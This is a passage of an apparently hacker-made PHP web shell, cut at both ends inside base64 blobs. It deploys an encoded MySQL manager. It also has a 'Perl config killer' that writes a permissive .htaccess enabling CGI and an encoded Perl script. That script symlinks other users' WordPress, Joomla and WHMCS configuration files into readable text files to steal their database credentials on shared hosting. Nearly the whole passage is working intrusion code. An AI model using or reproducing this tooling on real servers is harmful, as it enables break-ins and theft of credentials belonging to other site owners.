rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
2078$write = fwrite ($f2 ,base64_decode($sml_db));
2079if ($write)
2080{@chmod('angel/db.php',0755);}
2081echo "</br></br><center><b>GO TO : <a href='angel/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
2082}
2083}
2084
2085# x=ckperl
2086elseif(isset($_GET['x']) && ($_GET['x'] == 'ckperl')) {
2087echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PERL</span> <span class='b8'>CONFIG KILLER ]:=O</span></b></nobr><br/><br/> ";
2088echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='image/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
2089if(!is_dir('image')){
2090$mk = @mkdir('image',0777);
2091$c = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n AddHandler cgi-script .pl \n Require None \n Satisfy Any";
2092$f =@fopen ('image/.htaccess','w');
2093@fwrite($f , $c);
2094$f2 =@fopen ('image/anu.pl','w');
2095$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ3ZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nYW51LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nd3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidqb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQoNCn0NCg0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8aDE+PGk+PHU+LS09W1sgRE0gVEU0TSBdXT0tLTwvdT48L2k+PC9oMT4NCjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBIQUpBUiBDT1kgIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojRkZGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT48YnIgLz48YnIgLz4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNW